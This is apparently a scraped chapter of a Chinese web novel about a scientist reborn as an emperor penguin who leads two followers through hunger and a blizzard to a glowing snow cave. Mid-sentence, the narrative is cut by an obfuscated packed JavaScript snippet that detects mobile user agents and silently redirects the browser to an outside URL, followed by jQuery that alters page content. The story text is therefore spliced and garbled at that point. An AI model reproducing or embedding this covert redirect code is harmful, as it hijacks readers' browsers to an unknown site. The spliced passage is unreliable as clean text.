1. 南极帝企鹅·生命赞歌(1)

作品:《当动物首领,但带崽男妈妈[快穿]

    “我老大敢跟大王乌贼抢鱼吃!”


    “我老大敢在海豹头顶拉屎!”


    “我老大敢、敢,他敢跟虎鲸对骂!”


    ……


    两只帝企鹅一边在冰面上快速滑行,一边斗嘴。


    潘步就是他俩攀比吹牛的“最强”老大,实际上,他什么都不敢,他甚至都没真正意义上见过大王乌贼和虎鲸!


    因为,穿成帝企鹅后,他就还没去过大海。


    没去大海捕猎,就只能一直挨饿,一直挨饿,一直挨饿……已经饿了快三个月,他都要饿疯了!


    虽然帝企鹅是南极“扛饿王”,最长不进食的记录是四个月,但这非常看个体,一般帝企鹅超过两个月不进食就可能会死。


    帝企鹅这日子,真不是人过的!


    他原本是南极科考站的科研人员,一场突如其来的暴风雪终止了他的科研生涯。


    再次睁开眼,他就变成了一只帝企鹅,跟自己的族群挤在一起抵抗南极的严寒。


    起初,他觉得肯定是幻觉,或者做梦之类的,主要这也太猎奇了,人怎么可能会变成帝企鹅呢?


    他等啊等,等自己清醒过来,等幻觉消失,变回人类,但始终没有等到。


    于是,不得不接受——他真的变成了一只帝企鹅!


    “诶,不对,我们不是同一个老大吗!”


    “对哦,那就是我们老大最最最厉害!”


    ……


    潘步同样用肚皮在冰面上快速滑行,听着两个小弟如此“睿智”的对话,还挺解闷。


    没办法,企鹅就这么笨笨呆呆的,根本没有脑子这个东西。


    现在他只想赶紧找到最快去大海的路,然后狼吞虎咽吃个够,把肚子吃的滚圆滚圆!


    呼呼呼……


    天空不断传来巨大翅膀扇动的声音。


    他仰头一看,果然是巨鹱。


    巨鹱是企鹅的天敌之一,也是南极最大的鸟,翼展可达两米,主要食腐,也吃企鹅幼崽。


    两小弟立马对着天空嘎嘎大叫:“滚开,我们永远都不会死,臭鸟,滚滚滚!”


    巨鹱飞到他们头顶,发出满是嘲讽的尖锐鸣叫:


    “你们的老大就是废物,跟这种废物垃圾混,你们都得死,垃圾老大,废物点心……”


    巨鹱故意激怒他们,只要他们生气,追着去打巨鹱,就会更快饿死或者冻死。


    潘步只想赶紧弄走巨鹱,他仍旧快速滑行,甚至高兴的摆动毛茸茸小短尾,十分优雅的嘎嘎叫:


    “谢谢夸奖,很幸运荣登最废物首领宝座,以下是我的获奖感言,首先感谢南极tv,感谢族群,感谢我的小弟们,感谢……”


    巨鹱:叽里咕噜说啥呢,快死掉,给我吃!


    虽然帝企鹅都这样,轻易激怒不了,但被骂都当夸奖,巨鹱是真没见过。


    两个小弟骂着巨鹱,还不忘争宠:


    “臭鸟,腐肉吃多了,嘴臭的要死,还有,老大最喜欢的小弟,是我!是我!”


    “明明是我,就是我!你排我后面去!”


    ……


    巨鹱没受过这种气,骂骂咧咧的飞走了。


    潘步心里明白,巨鹱说的没错,他的族群最小,领地距离大海最远,不仅他是最废的首领,他的族群也是最弱的帝企鹅族群。


    但他还是坚定的认为,他和族群都非常伟大!


    每一只帝企鹅,都非常伟大!


    南极这种生命禁区,地狱级生存难度,能刷南极副本的动物,谁都了不起!


    好吧,也包括臭鸟巨鹱。


    更何况,作为南极食物链底端的帝企鹅,能多活一天,那都很棒棒了好吗!


    他嘎嘎叫着激励两小弟:“滑快一点,再快一点,冲啊!冲冲冲……”


    两个小弟立马加速冲,其中一个还超过了他。


    砰的一声闷响。


    潘步只感到一股强大的推背感,接着就被一个毛茸茸软乎乎的东西给顶了起来,还带着往前滑了点。


    低头一看,头号小弟,正在他的身下。


    头号小弟阿沙挺了挺饿扁的肚子,十分抱歉的说:“老大,对不起,我又没控制好速度。”


    阿沙总是这样冒冒失失的,经常将身边的鹅,撞个大马趴。


    二号小弟阿慢听见身后的动静,赶紧滑了回来,用翅膀扑扑扇,愤怒的嘎嘎叫:


    “没用的东西,你又撞到老大了,打你打你,气死我啦……”


    潘步只感到自己的屁股被扇的火辣辣的。


    二号小弟眼神不太好使,误扇、误踩、误啄……都是家常便饭。


    屁股被扇的有点过热,也只是平静的提醒:“你打的,是我。”


    无论作为人类还是帝企鹅,他看上去都情绪异常稳定,其实是真没招了。


    科研申请不到经费,帝企鹅呆呆笨笨,都一样。


    潘步:……如果你惹火了我,那我就变的火辣辣!


    阿慢无比愧疚的叽叽叫:“对不起,老大,我没看清,对不起,我给你揉揉。”


    “不用,不用!”他说着,赶紧从一号小弟身上跳了下来。


    冰面太滑,摇摇晃晃好一阵,终于站稳。


    他迎着南极无情的寒风,挺起胸膛,下令:“继续赶路。”


    两小弟没听到老大的指令,还举着翅膀互扇,互相埋怨。


    笃笃笃——


    他不得不用喙啄了两小弟的脑袋几下,厉声下令:


    “我说,快点赶路!你们,尔多隆吗!”


    两小弟立马老实了,飞速滑了出去。


    潘步滑的更快,他只有一个目标——大海!


    他快饿死了,帝企鹅的本能,让他疯狂想吃:


    汩汩冒油超级肥美的小鱼儿,渣渣脆无敌鲜甜的虾蟹,最最Q弹劲道的小鱿鱼……


    就算是糊嗓子眼的藻类也好,哪怕是还不够塞牙缝的浮游生物都好!


    他们就这样一直在无边无际的冰面上,滑啊滑,走啊走,跳啊跳。


    极光和天光将南极的永夜照的亮如白昼。


    周围一片寂静,只有无尽的纯白,以及三只帝企鹅摇摇摆摆的身影。


    不知过了多久,潘步忽然听见巨大的嘶吼怪叫声从远处传来!


    “呼呼呼,歘歘歘,簌簌簌……”


    帝企鹅都再熟悉不过,这是暴风雪极速逼近的声音,是死亡来临的声音。


    “跟紧我,快,找个雪洞躲起来!”潘步一边大喊着滑行,一边环顾四周寻找。


    两个小弟也不停嘎嘎大叫,回应着老大。


    瞬息之间,白毛风遁地而起,疾风夹着大雪,能见度极低。


    南极的暴风雪,在极短的时间内,风速可以达到及其恐怖的250km/h,温度降至零下70摄氏度!


    他们已经很难控制方向,只能顺着暴风雪滑行。


    潘步能听见两小弟的声音就在身边,但能见度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886631|192034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太低,他看不见他们,更加看不见周围的一切。


    就这伸手不见翅膀的能见度,别说找雪洞,找个冰山撞死,都够呛能找到!


    “老大,能跟你混,我的鹅生圆满了,死也开心。”


    “老大,你就是最最好的老大,爱你老大,下辈子还跟你!”


    “暴风雪来的更猛烈些吧,帝企鹅,永不屈服!”


    ……


    潘步很佩服帝企鹅的超绝好心态。


    哪怕是直面死亡,也能嘎嘎高歌!


    可能是因为南极生存条件实在太极端,帝企鹅是真没招了,才会呈现出一种平静的疯感。


    爱咋咋的吧,怂一秒,我不叫帝企鹅!


    潘步从来就不怕死,但在死前一秒,他都不会放弃生的希望。


    他不停的寻找,在几乎快失去意识时,隐约看见不远处闪着幽蓝的光!


    幽蓝色的光芒,堪称帝企鹅的生.命.之.光,证明那里有挺深的洞穴,再大的暴风雪都顶得住。


    “雪洞,快,跟我来,阿沙,阿慢,坚持住,跟紧我……”


    潘步不停的嘎嘎大叫,只为了在漫天风雪中,让两小弟能根据他的声音,找到他所在的方向。


    两小弟已经没有力气回应,只能发出虚弱的叽叽声,竭尽全力追随老大。


    潘步极力控制着自己的身体,借着暴风雪的助力,往幽蓝的光点滑去。


    风速太快,更准确的说是,砸去!


    帝企鹅是南极滑行王者,凭借高超的技艺,他精准的将自己投射进了幽蓝的光点里。


    砰的一声闷响!


    直接砸到了洞穴的最里面。


    他顾不得浑身的疼痛,赶忙往外滑,趴在洞口不停大叫:


    “阿沙,阿慢,在这里,快过来,阿沙,阿慢,别吓我,快滑过来啊……”


    回应他的只有暴风雪恐怖的怪叫。


    不知不觉,他的声音颤抖的越来越厉害:


    “阿沙、阿慢,求求你们,别死,别、别丢下我一个人,呜呜一个鹅,不许死,快过来,这是命令……”


    嗖,嗖,咚,咚!!!


    两道残影从他眼前飞了过去,像两枚肉丸狠狠嵌在雪壁上,扣都扣不下来。


    他赶忙滑了进去,急问:“你、你们,没事吧?”


    两小弟有气无力的说:“没、没事,老大,你真、真厉害,这都能找到……”


    他急忙又问:“还能下来吗?我把周围的雪啄松一点!”


    两小弟立马挥舞翅膀,用爪子猛蹬,挣扎着滚了下来。


    他们凑到老大的面前,用喙蹭着老大的脖颈,紧紧依偎在一起,互相取暖。


    这种雪洞,对帝企鹅来说,简直就是天堂,不再受到暴风雪的摧残,他们很快就恢复了活力。


    暴风雪至少要半天才会停,他们正好可以好好休息一下,睡醒再赶路。


    听着外面疾风的呼啸怪叫,潘步很快就睡着了。


    也不知过了多久,他感觉好像有什么东西在往自己身体里面钻。


    他确定这是活物,不管是啥,他都要饿疯了,那就是送上门的外卖。


    该不会是那臭鸟杀回来了吧?!


    他赶紧用喙掀开雪白厚实的腹部羽毛,往下一看。


    当即愣住。


    两小弟早被动静吵醒,好奇的趴在了老大的脚边,目不转睛的盯着。


    “老大,这怎么可能啊,我不是看花眼了吧!”